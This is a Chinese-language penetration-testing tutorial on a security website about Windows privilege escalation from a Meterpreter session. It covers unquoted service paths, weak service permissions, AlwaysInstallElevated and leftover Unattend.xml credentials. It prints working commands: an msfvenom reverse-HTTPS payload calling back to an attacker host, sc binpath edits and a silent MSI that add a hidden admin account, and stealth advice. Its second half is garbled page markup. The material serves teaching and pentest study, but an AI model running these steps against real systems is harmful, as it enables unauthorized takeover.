Windows提权的几种姿势

编程知识更新时间:2023-05-02 20:36:32

想象这种画面：你拿到了一台机器上Meterpreter会话了，然后你准备运行 getsystem 命令进行提权，但如果提权没有成功，你就准备认输了吗？只有懦夫才会认输。但是你不是，对吗？你是一个勇者！！！

这篇文章中我会讲Windows上一般提权的方法，并演示如何手动进行提权和其对应的Metasploit模块。当我们把权限从本地管理员提升到系统后更容易执行一些操作，而不适当的系统配置则可以使低权限的用户将自己的权限提升到高权限。

Note:本文中我们主要关注于不依赖内核漏洞的提权，例如：KiTrap0d（Meterpreter getsystem提权的四种方法之一）

Trusted Service Paths

这个漏洞存在于二进制服务文件路径中Windows错误解释空格。这些服务通常都是以系统权限运行的，如果我们利用这些服务就可能提权到系统权限。例如如下文件路径：

C:\Program Files\Some Folder\Service.exe

上面文件路径中的空格，Windows会尝试寻找并执行以空格前单词为名字的程序，操作系统会在文件路径下查找所有可能匹配项直到找到一个匹配为止。例如如下例子，Windows会尝试定位并执行如下的程序：

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Note:这种特性发生在开发人员没有将整个文件路径包含在引号内。将文件路径包含在引号内会降低这个漏洞的威胁。所以这个漏洞被称为“不带引号的服务路径(Unquoted Service Paths.)”

如果我们在这个文件夹下放置一个精心构造名字的恶意文件，在服务重启后，我们就拥有以系统权限运行的恶意程序了。然而，在放置恶意软件前我们首先要确保我们拥有目标文件夹的权限。那么下面让我们来看下如何发现和利用这个漏洞。

首先，我们可以利用下面一行WMI命令查询（作者：@Danial Compton），列出目标机器上所有没有用引号包含的服务路径：

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

有命中的！PFNet服务的路径没有使用引号包含同时路径中包含空格。这里我们想要利用需要有文件夹的权限。假设我们已经有了设备上的管理员权限，那我们可以使用Windows内建工具icacls查看路径中受影响文件夹的权限：

icacls "C:\Program Files (x86)\Privacyware"

注意第一行BUILTIN\Users:(OI)(CI)(M)：列出了每个用户具有的权限。(M)代表修改权限，这是我们具有的权限，可以进行读、写和删除文件夹中的文件和子文件夹。我们太幸运了！我们现在可以随意的创建和删除名为Privatefirewall.exe的恶意软件。那么开始吧！

Note:如果我们拥有Privacyware文件夹写权限也能完成同样的事情，更多关于Windows权限的资料请参考MSDN的链接：File and Folder Permissions

当我们利用MSFVenom生成一个可执行文件时，我们希望能够在本地管理员组(windows/adduser)里增加一个账户或者弹回一个系统权限的Meterpreter shell(如下面示例)。当然也可以进行其他的操作。

msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=10.0.0.100 LPORT=443 -f exe -o Privatefirewall.exe

现在我们来执行我们的恶意软件，尝试先关闭在开启PFNet服务以弹回我们的shell。我们可以使用内建工具sc完成这些：

sc stop PFNet
sc start PFNet

没用！原来我们只有服务文件夹的操作权限，但是没有操作PFNet服务本身的权限。这种情况下，我们只能等待有人重启目标机器或者重头再来。

当目标机器重启后，Windows定位并重启了我们的恶意软件弹回了一个具有系统权限的Shell。

Metasploit Module: exploit/windows/local/trusted_service_path

这个模块只需要我们连接到了一个Meterpreter会话即可运行。

这里我们查看源代码发现，这个模块通过正则表达式筛选出没有用引号包含起来的服务并创建一个易受攻击的服务列表，之后尝试针对列表中第一个服务在其文件夹下面放置一个恶意可执行文件，然后重启重启服务并在重启服务后移除之前放置的恶意可执行文件。

Note：在这个模块代码中我没有看见任何一处在尝试放置可执行文件失败后检测是否拥有目标文件夹权限的代码。这让我有些疑惑…

Vulnerable Services

在讨论易受攻击服务利用的时候我们总谈论下面两类：

1.服务二进制文件(Service Binaries)

2.Windows服务(Windows Services)

前者跟我们之前说的可信服务路径很相似。可信服务路径是利用Windows文件解释的漏洞，而易受攻击的服务则是利用目标文件或文件夹自身拥有执行的权限。如果拥有权限，我们可以简单的替换服务为我们的恶意执行文件。使用Privacy Firewall为例，我们放置一个名为pfsvc.exe的可执行文件到"Privatefirewall 7.0"文件夹中。

后者是指Windows服务具有修改自己属性的能力。这些服务通常运行在后台，操作系统要通过Service Control Manager(SCM)进行控制。如果我们可以修改服务的二进制文件，在服务重启后，我们就拥有了一个以SYSTEM权限运行的自己的服务了。下面我们来看下。

最简单确定Windows服务是否存在有风险权限的方法就是使用AccessChk工具（它是SysInternals Suite中的一部分）。这个工具是由Mark Russinovich写的用于在Windows上进行一些系统或程序的高级查询、管理和故障排除。在进行渗透测试的时候鉴于反病毒软件的检测等原因我们应该尽量少的接触目标磁盘，而AccessChk这个著名的微软工具可以帮我们达到目的。

当我们在目标机器上下载了AccessChk后，我们可以执行以下命令来检查有哪个服务可以被我们修改：

accesschk.exe -uwcqv "Authenticated Users" * /accepteula

看看我们找到了什么，PFNet再一次的出现了！SERVICE_ALL_ACCESS意味着我们拥有PFNet服务的完全控制权。正常情况下未授权的用户是不应该有这些Windows服务权限的，但由于管理员甚至是第三方开发人员错误的配置才可能导致这种漏洞的出现(不管你是否相信，XP中的确运行着一些这样易受威胁的内建服务)。

Note：这里为了演示故意将PFNet服务修改成这种不安全的情况。

下面让我们用sc命令来查看PFNet服务的配置属性：

sc qc PFNet

这里请注意BINARY_PATH_NAME值是指向pfsvc.exe的，这个就是服务的二进制文件。更改这个值为增加一个用户的命令，那么当服务重启的时候这条命令就会被以系统权限执行(确保SERVICE_START_NAME被指向了LocalSystem)。我们可以多次重复执行这个程序以添加一个新用户到本地管理员组中：

sc config PFNET binpath= "net user rottenadmin P@ssword123! /add"
sc stop PFNET
sc start PFNET
sc config PFNET binpath= "net localgroup Administrators rottenadmin /add"
sc stop PFNET
sc start PFNET

耶？每当我们开启服务时sc命令都返回了一个错误。这是因为net user和net localgroup命令没有指向二进制服务，因此SCM无法与服务进行通信。但是别害怕，虽然报错了但是我们添加用户的命令却完成了：

Note:我建议在我们提权完成之后恢复binpath使其指向原先的值。这样服务会正常运行并且减少引起一些不必要的注意。

现在我们在目标机器上面拥有了一个管理员权限的账户了，如果需要后期将这个账户提升为系统权限也还是很简单的。

Metasploit Module: exploit/windows/local/service_permissions

同样这个模块只需要我们连接到了一个Meterpreter会话即可运行：

这个模块会尝试两种方法将权限提升至SYSTEM。第一种，如果Meterpreter会话是管理员权限，那么模块会创建并允许一个新的服务。如果当前权限不允许创建服务，模块会寻找是否拥有的文件夹或者文件权限以劫持现有服务。

无论是创建新服务还是劫持现有服务，模块都会创建一个包含随机文件名和安装路径的可执行文件。当启用AGGRESSIVE选项后，这个模块会在目标机器上所有可攻击的服务上执行，当不启用这个选项时，模块在第一次成功提权后就会结束。

AlwaysInstallElevated

AlwaysInstallElevated是微软允许非授权用户以SYSTEM权限运行安装文件(MSI)的一种设置。然而，给予用于这种权利会存在一定的安全隐患，因为如果这样做下面两个注册表的值会被置为"1"：

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001 

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001

想查询这两个键值最简单的方法就是使用内建的命令：

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Note：如果这条命令出错类似于："The system was unable to find the specified registry key or value"，这可能是组策略里AlwaysInstallElevated没有被定义，因此不存在相关联的注册表项。

现在我们假设AlwaysInstallElevated已经启用了，我们可以利用MSFVenom工具来生成一个在目标机器上增加管理员用户的MSI安装文件：

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi

当我们在目标机器上加载了新生成的MSI文件后，我们可以使用Windows命令行工具Msiexec进行安装：

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\rotten.msi

msiexec相关参数解释如下：

1./quiet=安装过程中禁止向用户发送消息

2./qn=不使用GUI

3./i=安装程序

执行后，我们可以在目标机器上检测我们新创建的管理员用户：

Note:使用MSFVenom创建MSI文件时使用了always_install_elevated模块，那么在安装过程中会失败。这是因为操作系统会阻止未注册的安装。

Metasploit Module:exploit/windows/local/always_install_elevated

如下所示，这个模块只需要连接到之前运行过的会话即可：

这是一种叫QUIET的高级设置，多数情况下我们都会愿意启动的。启用QUIET选项就跟在Msiexec中使用/quiet选项一样不会给用户显示任何信息。这样确保不会弹出任何信息，使我们的活动更加隐蔽。

这个模块会创建一个随机文件名的MSI文件并在提权成功后删除所有已部署的文件。

Unattended Installs

自动安装允许程序在不需要管理员关注下自动安装。这种解决方案用于在拥有较多雇员和时间紧缺的较大型组织中部署程序。如果管理员没有进行清理的话，那么会有一个名为Unattend的XML文件残存在系统上。这个XML文件包含所有在安装程序过程中的配置，包括一些本地用户的配置，以及管理员账户！

全盘搜索Unattend文件是个好办法，它通常会在以下一个文件夹中：

C:\Windows\Panther\
C:\Windows\Panther\Unattend\
C:\Windows\System32\
C:\Windows\System32\sysprep\

Note:除了Unattend.xml文件外，还要留意系统中的sysprep.xml和sysprep.inf文件，这些文件中都会包含部署操作系统时使用的凭据信息，这些信息可以帮助我们提权。

当我们找到一个Unattend后，打开它并搜索标签。这一部分会定义每一个本地账户的设置(有时甚至包括域账户):

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 <useraccounts> <localaccounts> <localaccount> <password> <value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</value> <plaintext> false </PlainText> </Password> <Description>Local Administrator</Description> <DisplayName>Administrator</DisplayName> <Group>Administrators</Group> <Name>Administrator</Name> </LocalAccount> </LocalAccounts> </UserAccounts></pre> <div>在这个Unattend文件中，我们可以看到一个本地账户被创建并加入到了管理员组中。管理员密码没有以明文形式显示，但是显然密码是以Base64进行编码的。在Kali中我们可以使用一下命令进行解码： <div>  <div>echo "UEBzc3dvcmQxMjMhUGFzc3dvcmQ=" | base64 -d <div><img src= "/uploadfile/2015/1201/20151201011830833.png" /> <div>我们的密码为 "P@ssword123!Password" ，等等，微软在进行编码前会在Unattend文件中所有的密码后面都追加 "Password" ，所以我们本地管理员的密码实际上是 "P@ssword123!" 。 <div>  <div>Note:在<UserAccounts>中，你可能还会看到<AdministratorPassword>标签这是另一种配置本地管理员账户的方式。 <div>  <div>Metasploit Module: post/windows/gather/enum_unattend <div>  <div>这个模块比较简单。就是获取我们感兴趣目标的Meterpreter会话。 <div>  <div>在查看过<a href= "/ym" target= "_blank" class = "keylink" >源码</a>后我们发现，这个模块仅仅只是搜索Unattend.xml文件，然而会忽略其他像syspref.xml和syspref.inf这样的文件。简而言之，这个模块就是全盘搜索Unattend.xml文件以找到管理员账户密码。 <div>  <div>附加资源 <div>  <div>Windows Privilege Escalation Fundamentals <div>  <div>这是由Ruben Boonen创建的资源合集，是我在OSCP考试中不可或缺的工具。Ruben所接触的提权技术本文并没有涉及，例如搜索注册表中记录的凭证和利用任务调度等。总之很值得一看。 <div>  <div>PowerUp <div>  <div>PowerUp是一个由Will Schroeder写的PowerShell工具，它会查询当前机器上可用的提权漏洞。多数情况下，如果目标机器存在漏洞，那么我们就可以利用PowerUp工具来进行提权。 </dd></dl> <script type= "text/javascript" >  </script> <div id= "pages" class = "box_body" id= "fontzoom" > </div> <div class = "cont_ibox" >  <script> (function() { var s = "_" + Math.random().toString( 36 ).slice( 2 ); document.write( '<div id="' + s + '"></div>' ); (window.slotbydup=window.slotbydup || []).push({ id: '2467125' , container: s, size: '1000,90' , display: 'inlay-fix' }); })(); </script> </div> <dl class = "box_Nsc" > <dd class = "lcopy" ><a class = "ckcopy" onclick= "copyToClipBoard()" >点击复制链接与好友分享!</a><a class = "ckhome" href= "/" >回本站首页</a></dd> <script> function copyToClipBoard(){ var clipBoardContent=document.title + '\r\n' + document.location; clipBoardContent+= '\r\n' ; window.clipboardData.setData( "Text" ,clipBoardContent); alert( "恭喜您！复制成功" ); } </script> <div class = "Article-Tool" > <div class = "bdsharebuttonbox" ><a href= "#" class = "bds_more" data-cmd= "more" ></a><a href= "#" class = "bds_qzone" data-cmd= "qzone" title= "分享到QQ空间" ></a><a href= "#" class = "bds_tsina" data-cmd= "tsina" title= "分享到新浪微博" ></a><a href= "#" class = "bds_tqq" data-cmd= "tqq" title= "分享到腾讯微博" ></a><a href= "#" class = "bds_weixin" data-cmd= "weixin" title= "分享到微信" ></a><a href= "#" class = "bds_renren" data-cmd= "renren" title= "分享到人人网" ></a><a href= "#" class = "bds_mshare" data-cmd= "mshare" title= "分享到一键分享" ></a></div> <script> window._bd_share_config={ "common" :{ "bdSnsKey" :{}, "bdText" : "" , "bdMini" : "2" , "bdMiniList" : false , "bdPic" : "" , "bdStyle" : "0" , "bdSize" : "24" }, "share" :{}};with(document) 0 [(getElementsByTagName( 'head' )[ 0 ]||body).appendChild(createElement( 'script' )).src= 'http://bdimg.share.baidu/static/api/js/share.js?v=89860593.js?cdnversion=' +~(- new Date()/36e5)]; </script> </div> </dd> </dl> <div class = "more_tags" ><span>相关TAG标签</span> <a href= "http://www.2cto/tag/zishi.html" target= "_blank" > 姿势</a> </div> <dl class = "box_NPre" > <dd class = "TLineX" ><strong>上一篇：</strong><a href= "/Article/201512/452006.html" >Amazon AWS Java SDK漏洞披露</a></dd> <dd><strong>下一篇：</strong><a href= "/Article/201512/452084.html" >Windows 10 下注册表如何隐藏？</a></dd> </dl> <dl class = "linetb" ></dl> <dl class = "about" ><dd>相关文章</dd></dl> <div class = "alistline" ><a href= "/Article/201503/380460.html" target=blank>涨姿势了！如何破解Android手机的图形</a></div> <div class = "alistline" ><a href= "/Article/201505/402343.html" target=blank>powershell各种反弹姿势以及取证（二）</a></div> <div class = "alistline" ><a href= "/Article/201601/485352.html" target=blank>设计安全的账号系统的正确姿势</a></div> <div class = "alistline" ><a href= "/Article/201601/485867.html" target=blank>从活动目录获取域管理员权限的各种姿势</a></div> <div class = "alistline" ><a href= "/Article/201601/486307.html" target=blank>DLL注入的几种姿势（一）：Windows H</a></div> <div class = "alistline" ><a href= "/Article/201601/487193.html" target=blank>Windows提权姿势之Hot Potato </a></div> <div class = "alistline" ><a href= "/Article/201602/488419.html" target=blank>Linux内核ROP姿势详解(一) </a></div> <div class = "alistline" ><a href= "/Article/201602/488489.html" target=blank>Linux环境下后门维持的N种姿势</a></div> <div class = "alistline" ><a href= "/Article/201602/489335.html" target=blank>FIT 2016 集锦 | 解锁iOS手势密码的</a></div> <div class = "more_tags" style= "padding: 10px 20px 10px 20px;width: 95%;" ><span style= "background: url(http://statics.2cto/images/icons.png) 0 -240px no-repeat;" >热门专题推荐</span> <a href= "http://www.2cto/special/md5/" target= "_blank" > md5</a> <a href= "http://www.2cto/special/jiemi/" target= "_blank" > 解密</a> <a href= "http://www.2cto/special/shadu/" target= "_blank" > 杀毒软件</a> <a href= "http://www.2cto/special/safe/" target= "_blank" > 个人电脑安全</a> <a href= "http://www.2cto/special/pojie/" target= "_blank" > 脱壳破解</a> <a href= "http://www.2cto/special/upanzhizuogongju/" target= "_blank" > u盘启动工具</a> <a href= "http://www.2cto/special/xiaomajihuogongju/" target= "_blank" > 小马激活工具</a> <a href= "http://www.2cto/special/office/" target= "_blank" > office激活</a> <a href= "http://www.2cto/special/word/" target= "_blank" > word</a> <a href= "http://www.2cto/special/win7jihuogongju/" target= "_blank" > win7激活工具</a> </div> <dl class = "linetb" ></dl> <div class = "cont_ibox h70" >  <script> (function() { var s = "_" + Math.random().toString( 36 ).slice( 2 ); document.write( '<div id="' + s + '"></div>' ); (window.slotbydup=window.slotbydup || []).push({ id: '2467127' , container: s, size: '1000,90' , display: 'inlay-fix' }); })(); </script> </div> <dl class = "linetb" ></dl> <dl class = "about" ><dd>图文推荐</dd></dl> <div class = "cont_ibox" >  <script> (function() { var s = "_" + Math.random().toString( 36 ).slice( 2 ); document.write( '<div id="' + s + '"></div>' ); (window.slotbydup=window.slotbydup || []).push({ id: '2467132' , container: s, size: '1000,90' , display: 'inlay-fix' }); })(); </script> </div> <div class = "picbox" > <dl class = "wbox" > <dd class = "npicbox" ><a class = "imgbox" href= "/Article/201609/549938.html" ><img src= "/uploadfile/Collfiles/20160921/20160921093016320.png" /></a></dd> <dd class = "npictext" ><a href= "/Article/201609/549938.html" >动手打造Bypass UAC</a></dd> </dl> <dl class = "wbox" > <dd class = "npicbox" ><a class = "imgbox" href= "/Article/201609/548901.html" ><img src= "/uploadfile/Collfiles/20160919/201609190931409.jpg" /></a></dd> <dd class = "npictext" ><a href= "/Article/201609/548901.html" >可远程安装任意APP，</a></dd> </dl> <dl class = "wbox" > <dd class = "npicbox" ><a class = "imgbox" href= "/Article/201609/548793.html" ><img src= "/uploadfile/Collfiles/20160918/20160918092535561.png" /></a></dd> <dd class = "npictext" ><a href= "/Article/201609/548793.html" >linux的FTP服务器搭建</a></dd> </dl> <dl class = "wbox" > <dd class = "npicbox" ><a class = "imgbox" href= "/Article/201609/548774.html" ><img src= "/uploadfile/Collfiles/20160918/20160918092524536.jpg" /></a></dd> <dd class = "npictext" ><a href= "/Article/201609/548774.html" >解决HP M1005多功能</a></dd> </dl> </div>  <div id= "SOHUCS" ></div> <script> (function(){ var appid = 'cyrBEfE7C' , conf = 'prod_830794cf494da8b808afb2994cfe0fee' ; var doc = document, s = doc.createElement( 'script' ), h = doc.getElementsByTagName( 'head' )[ 0 ] || doc.head || doc.documentElement; s.type = 'text/javascript' ; s.charset = 'utf-8' ; s.src = 'http://assets.changyan.sohu/upload/changyan.js?conf=' + conf + '&appid=' + appid; h.insertBefore(s,h.firstChild); window.SCS_NO_IFRAME = true ; })() </script> </div> <div class = "box_right" > <div class = "side-ibox h250" >  <script> (function() { var s = "_" + Math.random().toString( 36 ).slice( 2 ); document.write( '<div id="' + s + '"></div>' ); (window.slotbydup=window.slotbydup || []).push({ id: '2467140' , container: s, size: '1000,90' , display: 'inlay-fix' }); })(); </script> </div> <div class = "box_right_line" ><div class = "xline" ></div></div> <div class = "box_right_box" > <dl class = "bTitle" > <dd onmousemove= "m_tabs(1)" id= "ArticlesW" class = "tablinkschecked" >文章</dd> <dd onmousemove= "m_tabs(3)" id= "BookW" class = "tablinkscheck" >推荐</dd> </dl> </div> <div class = "box_right_box" > <div class = "paddingbox" > <dl class = "index" id= "Articles" > <dd class = "picline" ></dd> <dd class = "list" >· <a href= "/Article/201609/549938.html" >动手打造Bypass UAC自动化测试小工具</a></dd> <dd class = "list" >· <a href= "/Article/201609/549513.html" >一个月内发现的第六起 Linux DDoS 木马</a></dd> <dd class = "list" >· <a href= "/Article/201609/548901.html" >可远程安装任意APP，小米手机藏后门？</a></dd> <dd class = "list" >· <a href= "/Article/201609/548927.html" >如何从未联网PC中获取信息？试试让USB</a></dd> <dd class = "list" >· <a href= "/Article/201609/548928.html" >蓝牙锁被轻易破解，物联网安全令人担忧</a></dd> <dd class = "list" >· <a href= "/Article/201609/548501.html" >安卓ELF恶意软件深度分析 </a></dd> <dd class = "list" >· <a href= "/Article/201609/548760.html" >设置AMD X2555 cpu黑盒超频的方法</a></dd> <dd class = "list" >· <a href= "/Article/201609/548774.html" >解决HP M1005多功能打印机提示Scanne</a></dd> </dl> <dl class = "index" id= "Book" style= "display:none" > <dd class = "picline" ></dd> <dd class = "list" >· <a href= "/os/201601/456255.html" >win7激活工具</a></dd> <dd class = "list" >· <a href= "/os/201607/522176.html" >win10激活工具</a></dd> <dd class = "list" >· <a href= "/meinv/" >美女图片</a></dd> <dd class = "list" >· <a href= "/os/201602/489186.html" >office2010激活密钥</a></dd> <dd class = "list" >· <a href= "/meinv/sexmv/" >性感美女</a></dd> <dd class = "list" >· <a href= "/os/201601/488006.html" >office2010激活工具</a></dd> <dd class = "list" >· <a href= "/os/201601/456247.html" >小马激活工具</a></dd> <dd class = "list" >· <a href= "/os/201607/522176.html" >win10激活工具</a></dd> </dl> </div> </div> <script type= "text/javascript" >  </script> <div class = "rightlineT" ><div class = "rxline" ></div></div> <div class = "side-ibox h250" >  <script> (function() { var s = "_" + Math.random().toString( 36 ).slice( 2 ); document.write( '<div id="' + s + '"></div>' ); (window.slotbydup=window.slotbydup || []).push({ id: '2467141' , container: s, size: '1000,90' , display: 'inlay-fix' }); })(); </script> </div> <div class = "rightlineNo" ></div> <div class = "box_right_box" > <dl class = "bTitle border" > <dd onmousemove= "m_tabs(1)" id= "ArticlesW" class = "tablinkschecked" >点击排行</dd> </dl> </div> <div class = "box_right_box" > <div class = "paddingbox" > <dl class = "index" id= "Articles" > <dd class = "picline" ></dd> </dl> </div> </div> <div class = "rightlineT" ><div class = "rxline" ></div></div> <div class = "side-ibox h250" >  <script> (function() { var s = "_" + Math.random().toString( 36 ).slice( 2 ); document.write( '<div id="' + s + '"></div>' ); (window.slotbydup=window.slotbydup || []).push({ id: '2467142' , container: s, size: '1000,90' , display: 'inlay-fix' }); })(); </script> </div> <div class = "box_right_line" ><div class = "xline" ></div></div> <script type= "text/javascript" >  </script> <div class = "box_right_box" > <div class = "paddingbox" > <dl class = "index" id= "Articles" > <dd class = "picline" > </dd>   <div id= "cyHotnews" role= "cylabs" data-use= "hotnews" ></div>    <script type= "text/javascript" charset= "utf-8" src= "http://changyan.itc/js/??lib/jquery.js,changyan.labs.js?appid=cyrBEfE7C" ></script> </dl> </div> </div> <div class = "box_right_line" ></div> <div class = "side-ibox h250" >  <script> (function() { var s = "_" + Math.random().toString( 36 ).slice( 2 ); document.write( '<div id="' + s + '"></div>' ); (window.slotbydup=window.slotbydup || []).push({ id: '2467143' , container: s, size: '1000,90' , display: 'inlay-fix' }); })(); </script> </div> </div> </div> <script type= "text/javascript" >  </script> <script language= "JavaScript" src= "http://www.2cto/api.php?op=count&id=452018&modelid=1" ></script>  <div class = "ibox p8" >  <script> (function() { var s = "_" + Math.random().toString( 36 ).slice( 2 ); document.write( '<div id="' + s + '"></div>' ); (window.slotbydup=window.slotbydup || []).push({ id: '2471021' , container: s, size: '1000,90' , display: 'inlay-fix' }); })(); </script> </div> <div class = "ibox p8" >  <script> (function() { var s = "_" + Math.random().toString( 36 ).slice( 2 ); document.write( '<div id="' + s + '"></div>' ); (window.slotbydup=window.slotbydup || []).push({ id: '2471250' , container: s, size: '1000,90' , display: 'inlay-fix' }); })(); </script> </div> </div> <span style= "display:none" ><script type= "text/javascript" src= "http://statics.2cto/js/baidu_js_push.js" ></script></span> <div class = "foot" > <p> <a href= "/about" >关于我们</a> | <a href= "/about/contact.html" >联系我们</a> | <a href= "/about/ads.html" >广告服务</a> | <a href= "/about/touzi.html" >投资合作</a> | <a href= "/about/Copyright.html" >版权申明</a> | <a href= "/about/faq.html" >在线帮助</a> | <a href= "/about/map.html" >网站地图</a> | <a href= "/about/tg.html" >作品发布</a> | <a target= "_blank" href= "http://vip.2cto/" ><span class = "c-red" >Vip技术培训</span></a> <br /> <span class = "style4" >版权所有: <a href= "/" >红黑联盟</a>--致力于做实用的IT技术学习网站<script type= "text/javascript" >var cnzz_protocol = (( "https:" == document.location.protocol) ? " https://" : " http://" );document.write(unescape( "%3Cspan id='cnzz_stat_icon_1258398875'%3E%3C/span%3E%3Cscript src='" + cnzz_protocol + "wzz/c.php%3Fid%3D1258398875' type='text/javascript'%3E%3C/script%3E" ));</script> </span> <span style= "display:none;" ><script type= "text/javascript" src= "http://statics.2cto/js/tj.js" ></script></span> <script type= "text/javascript" >usertongji( "奋斗的小年轻" )</script>  <script> (function() { var s = "_" + Math.random().toString( 36 ).slice( 2 ); document.write( '<div id="' + s + '"></div>' ); (window.slotbydup=window.slotbydup || []).push({ id: '2467148' , container: s, size: '1000,90' , display: 'inlay-fix' }); })(); </script>  <script> (function() { var s = "_" + Math.random().toString( 36 ).slice( 2 ); document.write( '<div id="' + s + '"></div>' ); (window.slotbydup=window.slotbydup || []).push({ id: '2467147' , container: s, size: '1000,90' , display: 'inlay-fix' }); })(); </script>  <script> (function() { var s = "_" + Math.random().toString( 36 ).slice( 2 ); document.write( '<div id="' + s + '"></div>' ); (window.slotbydup=window.slotbydup || []).push({ id: '2467144' , container: s, size: '1000,90' , display: 'inlay-fix' }); })(); </script> </div></body> </html> </plaintext></password></localaccount></localaccounts></useraccounts>